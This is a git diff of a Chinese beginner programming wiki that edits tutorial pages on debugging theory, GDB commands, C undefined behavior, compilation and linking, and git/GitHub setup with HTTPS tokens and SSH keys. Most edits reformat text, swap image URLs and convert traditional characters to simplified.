KISS 法则的重要性。 diff --git a/3.编程思维体系构建/3.4.7.1.1调试理论.md b/3.编程思维体系构建/3.4.7.1.1调试理论.md index 2a1e2f0..560add4 100644 --- a/3.编程思维体系构建/3.4.7.1.1调试理论.md +++ b/3.编程思维体系构建/3.4.7.1.1调试理论.md @@ -1,6 +1,6 @@ # 调试理论 -# 调试公理 +::: warning 🌲 调试公理 - The machine is always right. (机器永远是对的) @@ -9,32 +9,34 @@ - Corollary: Mistakes are likely to appear in the "must-be-correct" code. -这两条公理的意思是: 抱怨是没有用的, 接受代码有 bug 的现实, 耐心调试. +这两条公理的意思是:抱怨是没有用的,接受代码有 bug 的现实,耐心调试. +::: -# 如何调试 +::: warning 😋 如何调试 - 不要使用"目光调试法", 要思考如何用正确的工具和方法帮助调试 - - 程序设计课上盯着几十行的程序, 你或许还能在大脑中像 NEMU 那样模拟程序的执行过程; 但程序规模大了之后, 很快你就会放弃的: 你的大脑不可能模拟得了一个巨大的状态机 - - 我们学习计算机是为了学习计算机的工作原理, 而不是学习如何像计算机那样机械地工作 -- 使用 `assert()` 设置检查点, 拦截非预期情况 + - 程序设计课上盯着几十行的程序,你或许还能在大脑中像 NEMU 那样模拟程序的执行过程; 但程序规模大了之后,很快你就会放弃的:你的大脑不可能模拟得了一个巨大的状态机 + - 我们学习计算机是为了学习计算机的工作原理,而不是学习如何像计算机那样机械地工作 +- 使用 `assert()` 设置检查点,拦截非预期情况 - 例如 `assert(p != NULL)` 就可以拦截由空指针解引用引起的段错误 -- 结合对程序执行行为的理解, 使用 `printf()` 查看程序执行的情况(注意字符串要换行) +- 结合对程序执行行为的理解,使用 `printf()` 查看程序执行的情况 (注意字符串要换行) - - `printf()` 输出任意信息可以检查代码可达性: 输出了相应信息, 当且仅当相应的代码块被执行 - - `printf()` 输出变量的值, 可以检查其变化过程与原因 + - `printf()` 输出任意信息可以检查代码可达性:输出了相应信息,当且仅当相应的代码块被执行 + - `printf()` 输出变量的值,可以检查其变化过程与原因 - 使用 GDB 观察程序的任意状态和行为 - - 打印变量, 断点, 监视点, 函数调用栈... + - 打印变量,断点,监视点,函数调用栈... +::: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaqLMfwqNMTcYEPuF3vFjqg.png) +![](https://cdn.xyxsw.site/boxcnaqLMfwqNMTcYEPuF3vFjqg.png) -# 调试理论 +## 什么是调试理论 如果我们能判定任意程序状态的正确性,那么给定一个 failure,我们可以通过二分查找定位到第一个 error 的状态,此时的代码就是 fault (bug)。 -# 正确的方法:理解程序的执行过程,弄清楚到底为何导致了 bug +## 正确的方法:理解程序的执行过程,弄清楚到底为何导致了 bug - `ssh`:使用 `-v` 选项检查日志 - `gcc`:使用 `-v` 选项打印各种过程 @@ -44,22 +46,22 @@ 各个工具普遍提供调试功能,帮助用户/开发者了解程序的行为 -# 错误概念 +## 错误概念 -我们来简单梳理一下段错误发生的原因. 首先, 机器永远是对的. 如果程序出了错, 先怀疑自己的代码有 bug . 比如由于你的疏忽, 你编写了 `if (p = NULL)` 这样的代码. 但执行到这行代码的时候, 也只是 `p` 被赋值成 `NULL`, 程序还会往下执行. 然而等到将来对 `p` 进行了解引用的时候, 才会触发段错误, 程序彻底崩溃. +我们来简单梳理一下段错误发生的原因。首先,机器永远是对的。如果程序出了错,先怀疑自己的代码有 bug . 比如由于你的疏忽,你编写了 `if (p = NULL)` 这样的代码。但执行到这行代码的时候,也只是 `p` 被赋值成 `NULL`, 程序还会往下执行。然而等到将来对 `p` 进行了解引用的时候,才会触发段错误,程序彻底崩溃。 -我们可以从上面的这个例子中抽象出一些软件工程相关的概念: +我们可以从上面的这个例子中抽象出一些软件工程相关的概念: -- Fault: 实现错误的代码, 例如 `if (p = NULL)` -- Error: 程序执行时不符合预期的状态, 例如 `p` 被错误地赋值成 `NULL` -- Failure: 能直接观测到的错误, 例如程序触发了段错误 +- Fault: 实现错误的代码,例如 `if (p = NULL)` +- Error: 程序执行时不符合预期的状态,例如 `p` 被错误地赋值成 `NULL` +- Failure: 能直接观测到的错误,例如程序触发了段错误 -调试其实就是从观测到的 failure 一步一步回溯寻找 fault 的过程, 找到了 fault 之后, 我们就很快知道应该如何修改错误的代码了. 但从上面的例子也可以看出, 调试之所以不容易, 恰恰是因为: +调试其实就是从观测到的 failure 一步一步回溯寻找 fault 的过程,找到了 fault 之后,我们就很快知道应该如何修改错误的代码了。但从上面的例子也可以看出,调试之所以不容易,恰恰是因为: - fault 不一定马上触发 error - 触发了 error 也不一定马上转变成可观测的 failure -- error 会像滚雪球一般越积越多, 当我们观测到 failure 的时候, 其实已经距离 fault 非常遥远了 +- error 会像滚雪球一般越积越多,当我们观测到 failure 的时候,其实已经距离 fault 非常遥远了 -理解了这些原因之后, 我们就可以制定相应的策略了: +理解了这些原因之后,我们就可以制定相应的策略了: -- 尽可能把 fault 转变成 error. 这其实就是测试做的事情, 所以我们在上一节中加入了表达式生成器的内容, 来帮助大家进行测试, 后面的实验内容也会提供丰富的测试用例. 但并不是有了测试用例就能把所有 fault 都转变成 error 了, 因为这取决于测试的覆盖度. 要设计出一套全覆盖的测试并不是一件简单的事情, 越是复杂的系统, 全覆盖的测试就越难设计. 但是, 如何提高测试的覆盖度, 是学术界一直以来都在关注的问题. +- 尽可能把 fault 转变成 error. 这其实就是测试做的事情,所以我们在上一节中加入了表达式生成器的内容,来帮助大家进行测试,后面的实验内容也会提供丰富的测试用例。但并不是有了测试用例就能把所有 fault 都转变成 error 了,因为这取决于测试的覆盖度。要设计出一套全覆盖的测试并不是一件简单的事情,越是复杂的系统,全覆盖的测试就越难设计。但是,如何提高测试的覆盖度,是学术界一直以来都在关注的问题。 diff --git a/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md b/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md index ed04eaa..fc5f39d 100644 --- a/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md +++ b/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md @@ -2,59 +2,63 @@ 请在开始进行 C 语言编程之后查阅使用 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHXggg6eLy86vFmb4shOksh.png) +![](https://cdn.xyxsw.site/boxcnHXggg6eLy86vFmb4shOksh.png) -# GDB 是什么? +## GDB 是什么? 调试器,简单来说就是当你代码跑不通时候修正错误用的 +[GDB's Mascot?](https://sourceware.org/gdb/mascot/) + 可搭配插件 gef pwndbg pwngdb peda -# 基本操作 +## 基本操作 -### GDB 使用表 +[GDB 快速入门教程](https://www.bilibili.com/video/BV1EK411g7Li/) -run (r)运行程序 +### **GDB 使用表** -b打断点,可以在函数和位置打断点 +`run (r)`运行程序 -info b查看打断点的位置 +`b`打断点,可以在函数和位置打断点 -n下一步,跳过函数的 +`info b`查看打断点的位置 -list查看源代码 +`n`下一步,跳过函数的 --p走 PID 路线 +`list`查看源代码 -edit [file:]function 看现在停下的函数位置 +`-p`走 PID 路线 -step 进入任何函数 +`edit [file:]function` 看现在停下的函数位置 -p打印变量 +`step` 进入任何函数 -shell输入命令 +`p`打印变量 -set logging on记录日志 +`shell`输入命令 -watchpoint观察变量是否变化的观察点 +`set logging on`记录日志 -watch设置观察点位置,watch*(地址) +`watchpoint`观察变量是否变化的观察点 -layout split开启 TUI 模式 +`watch`设置观察点位置,watch*(地址) -whatis查看变量类型 +`layout split`开启 TUI 模式 -ptype查看详细信息 +`whatis`查看变量类型 -#### TUI +`ptype`查看详细信息 -ctrl +x +a开启 +#### **TUI** -ctrl+p+n往前 +`ctrl + x + a`开启 -ctrl +l重新整理页面 +`ctrl + p + n`往前 -# 官方手册 +`ctrl + l`重新整理页面 + +## 官方手册 [GDB User Manual](https://sourceware.org/gdb/current/onlinedocs/gdb) diff --git a/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md b/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md index 46b7141..ec8a473 100644 --- a/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md +++ b/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md @@ -1,6 +1,6 @@ # C 的历史问题:undefined behavior -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnIdOChXQUGMvnxWcB7uTWLh.png) +![](https://cdn.xyxsw.site/boxcnIdOChXQUGMvnxWcB7uTWLh.png) 简写为 UB @@ -22,7 +22,7 @@ int main(int argc, char **argv) { } ``` -讓我們看看不同編譯器的 Debug 模式下執行的結果 +让我们看看不同编译器的 Debug 模式下执行的结果 Visual C++ 6.0 @@ -36,7 +36,7 @@ MinGW(GCC) > The answer : 25 -我們試試看在 Release 下執行的結果 +我们试试看在 Release 下执行的结果 Visual C++ 6.0 @@ -50,9 +50,9 @@ MinGW(GCC) > The answer : 25 -C 語言最初為了開發 UNIX 和系統軟體而生,本質是低階的程式語言, +C 语言最初为了开发 UNIX 和系统软体而生,本质是低阶的程式语言 -在語言規範層級存在 UB,可允許編譯器引入更多最佳化。比方說 `X * 2 / 2` 在沒有 overflow 發生的時候,可最佳化為 `X`。 +在语言规范层级存在 UB,可允许编译器引入更多最佳化。比方说 `X * 2 / 2` 在沒有 overflow 发生的時候,可最佳化为 `X`。 而且值得注意的是,在你的程序初始化之前,栈里面塞的一堆东西也是 UB。 @@ -64,4 +64,4 @@ C 語言最初為了開發 UNIX 和系統軟體而生,本質是低階的程式 [万恶的未定义行为 | 程式设计 遇上 小提琴](https://blog.ez2learn.com/2008/09/27/evil-undefined-behavior/) -关键是,老师喜欢出题刁难你啊!真烦啊! +关键是,老师喜欢出题刁难你啊!真烦啊! diff --git a/3.编程思维体系构建/3.4.7.3C编译器干了什么.md b/3.编程思维体系构建/3.4.7.3C编译器干了什么.md index 1d7db6a..20267a2 100644 --- a/3.编程思维体系构建/3.4.7.3C编译器干了什么.md +++ b/3.编程思维体系构建/3.4.7.3C编译器干了什么.md @@ -1,16 +1,16 @@ # C 编译器干了什么 -# 以 gcc 为例 +## 以 gcc 为例 -1、预处理,生成 .i 的文件[预处理器 cpp] +1、预处理,生成 .i 的文件[预处理器 cpp] -2、将预处理后的文件转换成汇编语言, 生成文件 .s [编译器 egcs] +2、将预处理后的文件转换成汇编语言,生成文件 .s [编译器 egcs] -3、有汇编变为目标代码(机器代码)生成 .o 的文件[汇编器 as] +3、有汇编变为目标代码 (机器代码) 生成 .o 的文件[汇编器 as] -4、连接目标代码, 生成可执行程序 [链接器 ld] +4、连接目标代码,生成可执行程序 [链接器 ld] -# 有啥用 +## 有啥用 有一天你发现,某一段 C 语言只有几行,但是用了大量的魔法宏定义以及魔法操作以及神奇的元编程。 @@ -18,10 +18,10 @@ 如果有一天你要学习汇编语言,或者说出现了在代码中看不出的 bug,你可能需要翻译成.s 文件 -# 了解更多 +## 了解更多 当然不止如此,编译器还承担了优化的过程,有时候同一份代码,经过 O1 和 O2 不同优化可能最后代码都不一样。 推荐阅读 -[http://www.ruanyifeng.com/blog/2014/11/compiler.html](http://www.ruanyifeng.com/blog/2014/11/compiler.html) +[编译器的工作过程](http://www.ruanyifeng.com/blog/2014/11/compiler.html) diff --git a/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md b/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md index cd8424d..cc76c13 100644 --- a/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md +++ b/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md @@ -1,6 +1,6 @@ # Inline Assembly 与链接加载 -# Inline Assembly +## Inline Assembly 可以在 C 代码里嵌入汇编语言的骚操作。毕竟编译器本身也就是个复制,翻译,,粘贴的过程。 @@ -14,27 +14,27 @@ C 艹可能没那么容易了····比如说虚函数调用,那你就不太 当然这里可以参考 c inline Asm 的教程 但是已经脱离了本文的主题了 -这里给指条路 [https://dmalcolm.fedorapeople.org/gcc/2015-08-31/rst-experiment/how-to-use-inline-assembly-language-in-c-code.html](https://dmalcolm.fedorapeople.org/gcc/2015-08-31/rst-experiment/how-to-use-inline-assembly-language-in-c-code.html) +这里给指条路 [How to Use Inline Assembly Language in C Code](https://dmalcolm.fedorapeople.org/gcc/2015-08-31/rst-experiment/how-to-use-inline-assembly-language-in-c-code.html) > 诸如 Go 的高级语言 也可以通过 inline C 来 内链汇编 你可以写任何一个指令,他完全不会检查 也不会优化 编译器默认你知道你在干什么。 -然后 C 编译器就会将这部分代码 原封不动地 拷贝进你的二进制代码当中 +然后 C 编译器就会将这部分代码 **原封不动地**拷贝进你的二进制代码当中 当然,你可以通过 RTFM 来将 C 语言的变量塞到汇编中处理。 -在 Windows 平台下 VS 没有 Code 可以以 `__asm {}` 代码块来进行实验 但是注意 只能在 x86 模式下使用 x64 不支持 可以参考 [https://docs.microsoft.com/zh-tw/cpp/assembler/inline/asm?view=msvc-170](https://docs.microsoft.com/zh-tw/cpp/assembler/inline/asm?view=msvc-170) +在 Windows 平台下 VS 没有 Code 可以以 `__asm {}` 代码块来进行实验 但是注意 只能在 x86 模式下使用 x64 不支持 可以参考 [__asm](https://docs.microsoft.com/zh-tw/cpp/assembler/inline/asm?view=msvc-170) 以上两种平台的方案都其实本质是编译器特殊宏 并不包括在 C 的标准内 所以要针对不同的编译器 寻找对应的文档 -# 静态链接 +## 静态链接 当你使用 GCC 生成可执行文件./a.out 时,到底发生了什么? 为什么就可以直接执行呢?当你问及这个问题时,那么就大有一番探索的空间了 -# 链接器 +## 链接器 链接器的功能:将一个可执行程序所需的目标文件和库最终整合在一起。 @@ -42,15 +42,13 @@ C 艹可能没那么容易了····比如说虚函数调用,那你就不太 这个就是帮你和外部库连接起来的重要部分。 -一个程序包含三个段:.text 、.data 和 .bss 段。 +一个程序包含三个段:.text、.data 和 .bss 段。 -``` 而各目标文件和库都包含这三段,所以,ld 链接器的功能就是将各个目标文件和库的三段合并在一起。 -当然,链接器所完成的链接工作并非只是简单地将各个目标文件和库的三段内存堆砌在一起,而是还要完成 “重定位” 的工作。 -``` +当然,链接器所完成的链接工作并非只是简单地将各个目标文件和库的三段内存堆砌在一起,而是还要完成“重定位”的工作。 -## 查看二进制文件的工具 +### 查看二进制文件的工具 使用 objdump 查看 data 节的 x,y @@ -60,7 +58,7 @@ C 艹可能没那么容易了····比如说虚函数调用,那你就不太 使用 IDA BinaryNInja 一类反汇编工具 -# 动态链接 +## 动态链接 静态链接一次用那么多,实在是太大太大了 @@ -74,7 +72,7 @@ Linux 下一般是 .so 如果你看到了 .a 那个一般是 archive 的缩写 使用动态链接的好处在于 可以热加载和热更新 -# 共享连接的加载 +## 共享连接的加载 使用 ldd 来查看 a.out 就可以查看动态链接库 diff --git a/3.编程思维体系构建/3.4C语言.md b/3.编程思维体系构建/3.4C语言.md index 79108cb..0e65f08 100644 --- a/3.编程思维体系构建/3.4C语言.md +++ b/3.编程思维体系构建/3.4C语言.md @@ -6,7 +6,7 @@ 值得一提的是,我不会在本教程讲授过于基础的概念,但是会贴出你可能需要学习的内容。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnAnXUHDqsMYVrDlBfFunoVf.png) +![](https://cdn.xyxsw.site/boxcnAnXUHDqsMYVrDlBfFunoVf.png) 同时我要说的是:C 语言为了适配多种多样的硬件以及各式各样的操作,他对非常多的 undefined 操作不做太多限制,也就是说你可能会出现各种各样的问题,甚至把你电脑炸了 diff --git a/3.编程思维体系构建/3.5git与github.md b/3.编程思维体系构建/3.5git与github.md index e30ec5e..e224ea6 100644 --- a/3.编程思维体系构建/3.5git与github.md +++ b/3.编程思维体系构建/3.5git与github.md @@ -2,13 +2,15 @@ 引自 nju-ics-pa -## 光玉 +## 光玉 -想象一下你正在玩 Flappy Bird ,你今晚的目标是拿到 100 分,不然就不睡觉。 经过千辛万苦,你拿到了 99 分,就要看到成功的曙光的时候,你竟然失手了!你悲痛欲绝,滴血的心在呼喊着,“为什么上天要这样折磨我?为什么不让我存档?” +想象一下你正在玩 Flappy Bird,你今晚的目标是拿到 100 分,不然就不睡觉。经过千辛万苦,你拿到了 99 分,就要看到成功的曙光的时候,你竟然失手了!你悲痛欲绝,滴血的心在呼喊着,“为什么上天要这样折磨我?为什么不让我存档?” + +[Play Happy Bird](https://flappybird.io/) 想象一下你正在写代码,你今晚的目标是实现某一个新功能,不然就不睡觉。经过千辛万苦,你终于把代码写好了,保存并编译运行,你看到调试信息一行一行地在终端上输出。就要看到成功的曙光的时候,竟然发生了错误!你仔细思考,发现你之前的构思有着致命的错误,但之前正确运行的代码已经永远离你而去了。你悲痛欲绝,滴血的心在呼喊着,“为什么上天要这样折磨我?”你绝望地倒在屏幕前 ... ... 这时,你发现身边渐渐出现无数的光玉,把你包围起来,耀眼的光芒令你无法睁开眼睛 ... ... 等到你回过神来,你发现屏幕上正是那份之前正确运行的代码!但在你的记忆中,你确实经历过那悲痛欲绝的时刻 ... ... 这一切真是不可思议啊 ... ... -## 人生如戏戏如人生 +## 人生如戏,戏如人生 人生就像不能重玩的 Flappy Bird,但软件工程领域却并非如此,而那不可思议的光玉就是“版本控制系统”。版本控制系统给你的开发流程提供了比朋也收集的更强大的光玉,能够让你在过去和未来中随意穿梭,避免上文中的悲剧降临你的身上。 @@ -16,13 +18,13 @@ 在本节,我们使用 `git` 进行版本控制。下面简单介绍如何使用 `git` : -### 游戏设置 +### 游戏设置 首先你得安装 `git` : - Linux 下 -``` +```bash # Debian , Ubuntu sudo apt install git ``` @@ -35,26 +37,26 @@ sudo apt install git 安装好之后,你需要先进行一些配置工作。在终端里输入以下命令: -``` +```bash git config --global user.name "Zhang San" # your name git config --global user.email "zhangsan@foo.com" # your email ``` -经过这些配置, 你就可以开始使用 `git` 了。 +经过这些配置,你就可以开始使用 `git` 了。 你会通过 `git clone` 命令来拉取远程仓库的代码,里面已经包含一些 `git` 记录,因此不需要额外进行初始化。如果你想在别的实验、项目中使用 `git` ,你首先需要切换到实验、项目的目录中,然后输入 -``` +```bash git init ``` 进行初始化。初始化后会创建一个隐藏的文件夹名为 `.git` git 会基于这个文件夹来进行版本控制功能。 -### 查看commit信息 +### 查看 commit 信息 使用 -``` +```bash git log ``` @@ -64,35 +66,35 @@ git log 使用 -``` +```bash git status ``` -可以得知,与当前存档相比,哪些文件发生了变化. +可以得知,与当前存档相比,哪些文件发生了变化。 ### 提交 -你可以像以前一样编写代码。等到你的开发取得了一些阶段性成果,你应该马上进行 “ 提交( commit )”。 +你可以像以前一样编写代码。等到你的开发取得了一些阶段性成果,你应该马上进行“提交(commit)”。 首先你需要使用 `git status` 查看是否有新的文件或已修改的文件未被跟踪;若有,则使用 `git add` 将文件加入跟踪列表,例如 -``` +```bash git add file.c ``` -会将 `file.c` 加入跟踪列表。如果需要一次添加所有未被跟踪的文件,你可以使用 +会将 `file.c` 加入**跟踪列表**。如果需要一次添加所有未被跟踪的文件,你可以使用 -``` +```bash git add -A -# or +# 或者 git add . ``` -但这样可能会跟踪了一些不必要的文件(二进制文件),例如编译产生的 `.o` 文件,和最后产生的可执行文件。事实上,我们只需要跟踪代码源文件即可。为了让 `git` 在添加跟踪文件之前作筛选,你可以编辑 `.gitignore` 文件( 没有的话手动创建 文件名就叫这个 ),在里面给出需要被 `git` 忽略的文件和文件类型。 +但这样可能会跟踪了一些不必要的文件(二进制文件),例如编译产生的 `.o` 文件,和最后产生的可执行文件。事实上,我们只需要跟踪代码源文件即可。为了让 `git` 在添加跟踪文件之前作筛选,你可以编辑 `.gitignore` 文件(没有的话手动创建 文件名就叫这个),在里面给出需要被 `git` 忽略的文件和文件类型。 -这个网页可以根据你搜索的语言来给你创建必要的 `.gitignore` 文件 +[这个网页](https://www.toptal.com/developers/gitignore) 可以根据你搜索的语言来给你创建必要的 `.gitignore` 文件 -``` +```bash # .gitignore文件示例 .idea # 编辑器配置 __pycache__ # 缓存文件夹 @@ -105,15 +107,15 @@ file.o # 一个编译后的文件 建议把编译后的文件都加入 `.gitignore` 并在 `README.md` 文件中留下编译的详细操作流程,节省 `.git` 空间、符合提交规范。 -把新文件加入跟踪列表后, 使用 `git status` 再次确认. 确认无误后就可以存档了, 使用 +把新文件加入跟踪列表后,使用 `git status` 再次确认。确认无误后就可以存档了,使用 -``` +```bash git commit -m "...comment..." ``` -提交工程当前的状态(注释)。其中 `...comment...` 是你本次提交的注释( 一般在注释中简略写出本次提交干了什么)以下为注释规范,养成良好习惯请遵守: +提交工程当前的状态(注释)。其中 `...comment...` 是你本次提交的注释(一般在注释中简略写出本次提交干了什么)以下为注释规范,养成良好习惯请遵守: -``` +```bash 模板: type(scope): subject @@ -125,7 +127,7 @@ type为commit的类型 style: 代码格式修改 test: 测试用例修改 chore: 其他修改, 比如构建流程, 依赖管理. - pref: 性能提升的修改 + perf: 性能提升的修改 build: 对项目构建或者依赖的改动 ci: CI 的修改(ci是自动构建 感兴趣可以搜搜 github workflow ) revert: revert 前一个 commit ( 撤销前一个commit ) @@ -143,33 +145,35 @@ subject为commit概述 其中详细内容可以参照 [约定式提交](https://www.conventionalcommits.org/zh-hans/v1.0.0/) +附上 [语义化版本 2.0.0 规范](https://semver.org/lang/zh-CN/) + 你可以使用 `git log` 查看存档记录,你应该能看到刚才编辑的注释。 -### 读档( 回溯到某一个 commit ) +### 读档(回溯到某一个 commit) 如果你遇到了上文提到的让你悲痛欲绝的情况,现在你可以使用光玉来救你一命了。首先使用 `git log` 来查看已有的存档,并决定你需要回到哪个过去。每一份存档都有一个 `hash code`,例如 `b87c512d10348fd8f1e32ddea8ec95f87215aaa5` , 你需要通过 `hash code` 来告诉 `git` 你希望读哪一个档。使用以下命令进行读档: -``` +```bash git reset --hard b87c ``` 其中 `b87c` 是上文 `hash code` 的前缀:你不需要输入整个 hash code. 这时你再看看你的代码,你已经成功地回到了过去! -但事实上, 在使用 `git reset` 的 `hard` 模式之前, 你需要再三确认选择的存档是不是你的真正目标。 如果你读入了一个较早的存档,那么比这个存档新的所有记录都将被删除!这意味着你不能随便回到“将来”了。 +但事实上,在使用 `git reset` 的 `hard` 模式之前,你需要再三确认选择的存档是不是你的真正目标。如果你读入了一个较早的存档,那么比这个存档新的所有记录都将被删除!这意味着你不能随便回到“将来”了。 ### 分支 当然还是有办法来避免上文提到的副作用的,这就是 `git` 的分支功能。使用命令: -``` +```bash git branch ``` -查看所有分支. 其中 `master` 是主分支,使用 `git init` 初始化之后会自动建立主分支。 +查看所有分支。其中 `master` 是主分支,使用 `git init` 初始化之后会自动建立主分支。 读档的时候使用以下命令: -``` +```bash git checkout b87c ``` @@ -178,88 +182,193 @@ git checkout b87c - 查看 `b87c` 存档的内容 - 使用以下命令切换到其它分支 -``` +```bash git checkout 分支名 ``` - 对代码的内容进行修改,但你不能使用 `git commit` 进行存档,你需要使用 -``` +```bash git checkout -B 分支名 ``` - 把修改结果保存到一个新的分支中,如果分支已存在,其内容将会被覆盖 -不同的分支之间不会相互干扰,这也给项目的分布式开发带来了便利。有了分支功能,你就可以像第三视点那样在一个世界的不同时间 ( 一个分支的多个存档 ),或者是多个平行世界 ( 多个分支 ) 之间来回穿梭了。 +不同的分支之间不会相互干扰,这也给项目的分布式开发带来了便利。有了分支功能,你就可以像第三视点那样在一个世界的不同时间 ( 一个分支的多个存档 ),或者是多个平行世界(多个分支)之间来回穿梭了。 -### 更多功能 +### 更多功能 以上介绍的是 `git` 的一些基本功能,`git` 还提供很多强大的功能,例如使用 `git diff` 比较同一个文件在不同版本中的区别,使用 `git bisect` 进行二分搜索来寻找一个 bug 在哪次提交中被引入... -其它功能的使用请参考 `git help` , `man git` , 或者在网上搜索相关资料。 +其它功能的使用请参考 `git help` , `man git` ,或者在网上搜索相关资料。 ## 全球最大男性交友网站 —— Github +::: tip 🤡 +想象一下你正在进行人生中第一次软件开发的小组合作。 + +你把任务分配好让组员去写代码中的某一个模块。组员写好之后发给你。 + +你一看,通过 QQ 发过来的是一个文件啊文件 比如说 `学生管理模块.c` 你打开一看,我去是**乱码**。 + +你废了九牛二虎之力把他的 GBK 编码改成 UTF8 之后,细细地品鉴这段代码,发现我去有严重逻辑错误,而且代码很不规范。 + +你通过 QQ 告诉他,这一行有问题,能不能改一下。他说,好的我改一下。 + +然后又发了文件啊文件给你,如此反复循环,你俩已经互相传了好几百个源代码文件,很没效率! +::: + +> 通过 Git 版本控制管理自己的代码,再通过 Github 来发布、同步互联,是一个很好的解决方案! + 简介 作为开源代码库以及版本控制系统,Github 拥有超过 900 万开发者用户。随着越来越多的应用程序转移到了云上,Github 已经成为了管理软件开发以及发现已有代码的首选方法。 -页面大概是这样: +页面大概是这样(老图): -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHemi9HkeAG1fgoznHbHLrc.png) +![](https://cdn.xyxsw.site/boxcnHemi9HkeAG1fgoznHbHLrc.png) ### Git 和 Github -[GitHub](https://github.com/)[ ](https://github.com/)是一个面向开源及私有软件项目的托管平台,因为只支持 Git 作为唯一的版本库格式进行托管,故名 GitHub。 +[GitHub](https://github.com/)是一个面向开源及私有软件项目的托管平台,因为只支持 Git 作为唯一的版本库格式进行托管,故名 GitHub。 ### Git 绑定 Github +::: tip 🤗 +下面将教学如何注册这个网站,并给[本项目](https://github.com/camera-2018/hdu-cs-wiki)点一个小小的 kita kita 的 star🎇 +::: + #### 第一步:注册账号 -([GitHub 官网](https://github.com/))右上角 sign up 会有一个非常酷炫的界面指引你注册 🥳 +([GitHub 官网](https://github.com/))右上角点击 sign up 会有一个非常酷炫的界面指引你注册 🥳 -#### 第二步:创建 SSH Key 并获取公钥 +他会用一个像是命令行交互的方式引导注册,你需要依次填写 `邮箱` 、`密码` 、 `用户名(此为 ID 非昵称)` 、`是否同意邮箱广告推送` 、`机器验证码` 之后创建账户,随后会给你填写的邮箱发送验证码,填写注册。 -先在 C:\Users\用户名\.ssh 下找有没有 `id_rsa` 和 `id_rsa.pub` 文件 +随后是一个欢迎问卷😋随便填写、如果他问你什么 PRO Plan 选择 free 不付费就好。 + +最后你访问[GitHub 官网](https://github.com)应该会显示你的 dashboard 管理台界面 + +#### 第二步:选择你拉取仓库的方式 + +点开 github 某个仓库的绿油油的 `<>Code` 按钮,你会发现有三种 clone 方式。 + +分别为 + +- https(基本无配置,有图形化界面就能用) +- ssh(有公私钥设置,没有图形化界面也能用) +- gh-cli(github 出品的 cli 工具) + +![](https://cdn.xyxsw.site/Snipaste_2023-08-27_14-06-28.png) + +#### 【https 方法配置】账号绑定 github + +在命令行配置好你的 id 和邮箱 + +```bash +git config --global user.name "Zhang San" # your name +git config --global user.email "zhangsan@foo.com" # your email +``` + +在 GitHub 主页,找到 `New` 或者 `Create repository` 一个绿色的按钮,创建一个新的仓库 + +![](https://cdn.xyxsw.site/boxcn5sVnE76FYpVW2RDxtWDiZc.png) + +然后填上这个仓库的大名就可以创建了 + +![](https://cdn.xyxsw.site/boxcnsN133WrLrbxsX8JgvsQmif.png) + +进入你新创建的仓库 + +跟随新创建之后的指引,`…or create a new repository on the command line` 内他描述了如何创建一个文件夹、创建一个 README.md 的文件,然后和 github 仓库绑定。 + +push 的时候 github 会弹窗索要你的 github 个人信息,如下图 + +![](https://cdn.xyxsw.site/image_32.png) + +输入你的 github 用户名 + +![](https://cdn.xyxsw.site/image_33.png) + +但如果这个时候输入你的账户密码,就会出现如下提示 + +![](https://cdn.xyxsw.site/image_35.png) + +这是因为 github 在 2021 年 8 月 13 日之后移除了对密码验证的支持,你需要使用令牌认证的方式 + +进入个人设置,拉到最底下 + +![](https://cdn.xyxsw.site/image_36.png) + +选择 + +![](https://cdn.xyxsw.site/image_37.png) + +![](https://cdn.xyxsw.site/image_38.png) + +会看到这样一个界面 + +![](https://cdn.xyxsw.site/image_39.png) + +可以随便起一个名字,选择 token 的有效期,然后给这个 token 一些权限,如果不清楚这些选项分别代表什么意思的话,把 repo 这个勾选一般就足够了。 + +:::warning +这个令牌只会在生成时可见,之后就不会再显示了,请做好复制并保存 + +::: + +这样我们就可以使用 token 来进行 https 方法绑定 github 账号 + +![](https://cdn.xyxsw.site/image_40.png) + +#### 【ssh 方法配置】创建 SSH Key 并获取公钥 + +先在 `C:\Users\用户名\.ssh` 下找有没有 `id_rsa` 和 `id_rsa.pub` 文件 + +:::tip +这里 `.ssh` 文件夹是一个隐藏文件夹 + +如何显示隐藏文件夹请搜索互联网或看这篇文章 [support microsoft 显示隐藏的文件](https://support.microsoft.com/zh-cn/windows/%E6%98%BE%E7%A4%BA%E9%9A%90%E8%97%8F%E7%9A%84%E6%96%87%E4%BB%B6-0320fe58-0117-fd59-6851-9b7f9840fdb2) +::: 如果有就直接跳过这一步 -如果没有,打开 Shell( Windows 下打开 Git Bash 前提是你已经安装好了 git 在桌面右键应该会有 Git bash here 选项 ),创建 SSH Key: +如果没有,打开 Shell(Windows 下打开 Git Bash *前提是你已经安装好了 git 在桌面右键应该会有 Git bash here 选项*),创建 SSH Key: -```powershell +```bash ssh-keygen -t rsa -C "youremail@example.com" # youremail为你注册用的电子邮件地址 ``` 打开 `id_rsa.pub`,复制里面的内容 -#### 第三步:绑定 Github +#### 【ssh 方法配置】绑定 Github -登陆 `GitHub`,打开 `settings` +登陆 `GitHub`,点击右上角自己的头像,打开 `settings` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn9VFPUYHl8ghJ3C78RsXjtf.png) +![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-12-32.png) 然后打开左侧栏 `SSH and GPG`` keys` 页面 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn1HbQct335qvZ71tGNu7jne.png) 